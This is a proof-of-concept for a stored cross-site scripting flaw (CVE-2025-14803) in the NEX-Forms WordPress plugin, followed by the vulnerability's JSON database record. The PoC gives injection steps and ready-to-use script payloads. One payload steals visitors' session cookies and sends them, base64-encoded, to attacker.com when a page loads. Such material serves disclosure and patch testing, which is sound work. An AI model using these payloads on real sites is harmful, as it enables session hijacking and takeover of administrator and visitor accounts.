CVE-2025-14803

// CVE-2025-14803 PoC - Stored XSS in NEX-Forms WordPress Plugin // Author: WPScan Team // This PoC demonstrates storing malicious JavaScript through plugin settings // 1. Login as subscriber user // 2. Navigate to NEX-Forms settings panel // 3. Inject XSS payload in vulnerable settings field // Example XSS payload to be placed in settings field: const xssPayload = '<script>alert(document.cookie)</script>'; // Alternative payload for session hijacking: const sessionHijackPayload = ` <script> document.addEventListener('DOMContentLoaded', function() { fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)); }); </script> `; // The injected script will execute when: // - Admin views form settings // - Form is displayed on frontend // - Any user accesses affected page // Impact: Cookie theft, session hijacking, defacement, phishing redirects

{"cve": {"id": "CVE-2025-14803", "sourceIdentifier": "[email protected]", "published": "2026-01-09T06:16:01.077", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NEX-Forms WordPress plugin before 9.1.8 does not sanitise and escape some of its settings. The NEX-Forms WordPress plugin before 9.1.8 can be configured in such a way that could allow subscribers to perform Stored Cross-Site Scripting."}, {"lang": "es", "value": "El plugin de WordPress NEX-Forms anterior a 9.1.8 no sanitiza ni escapa algunas de sus configuraciones. El plugin de WordPress NEX-Forms anterior a 9.1.8 puede configurarse de tal manera que podría permitir a los suscriptores realizar cross-site scripting almacenado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wpscan.com/vulnerability/219af0e7-3d8b-4405-8005-b8969a370b0b/", "source": "[email protected]"}]}}